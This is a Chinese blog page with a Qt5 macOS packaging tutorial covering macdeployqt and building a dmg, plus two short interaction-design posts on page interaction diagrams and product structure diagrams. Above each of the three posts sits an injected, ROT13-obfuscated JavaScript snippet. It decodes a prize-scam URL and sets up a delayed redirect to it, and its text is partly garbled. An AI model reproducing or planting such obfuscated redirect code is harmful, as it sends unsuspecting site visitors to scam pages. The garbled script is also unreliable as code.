QT5玄学

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
本文是QT5一些零碎的知识点和采坑合集

目录:

QT5在MAC上打包

 
QT5 在MAC上打包
第一步:Build Release

首先在Qt Creator中 Projects->Build->Build Settings中选择 Build configuration为Release模式,然后Build,这个时候就会生成一个文件夹,里面有我们打包好的APP。

第二步:打包依赖

此时生成的.app文件还不能直接发布,因为app使用的各种依赖库没有包含吗,这个时候就需要使用Qt自带的一个打包工具macdeployqt来把这些依赖包含进行来

这个工具在/Users/bingxiong/Qt5.12.5/5.12.5/clang_64/bin

我要打包的文件是:/Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app

然后就在bin目录下执行:./macdeployqt /Users/bingxiong/QT_Project/build-FNotePad-Desktop_x86_darwin_generic_mach_o_64bit-Release/FNotePad.app

执行后如果没有报错的话,这个时候的.app就可以直接运行了

第三步:生成dmg

打开Disk Utility,选择File->New Image->Blank Image 来创建对应的dmg镜像

接下来到https://cloudconvert.com/png-to-icns制作App的icon,制作好之后右键get info然后将icon拖拽过去就可以添加icon成功

制作一个Application文件夹的Alias,然后将Application文件夹和刚刚生成的.app文件拖拽过去

这样就制作完成.dmg的安装包

 

 

交互设计6-页面交互图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
页面交互图
之前设计了产品机构图,我们可以根据产品结构图的设计来对页面的原型图进行参考,在绘制页面的原型图之前我们需要知道需要设计哪些原型图,通过页面交互图,我们可以清楚的看到这个APP所需要的页面以及页面中有哪些元素页面和页面之间有哪些关系。页面交互图至少应该是一眼就可以看出需要绘制多少个页面(图中标红处即是页面)以及页面中主要的组成部分。

交互设计5-产品结构图

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
之前总结了用户需求然后建立了卡诺模型将需求进行了优先级分类,然后绘制了功能结构图来进行功能的层次分类进行整理,然后进行了信息结构图,并针对部分功能进行了操作流程图的设计。
产品结构图
对产品频道及子频道、页面以及项目、信息元素的罗列,页面结构的设计,便于后期的原型设计。是一种早期的原型设计图。通过产品结构图,我们可以知道每个页面需要哪些元素、功能,从而为原型图的设计提供参考。

如:产品有哪些频道,频道下面有哪些页面,页面里分哪些栏目,栏目中有哪些元素。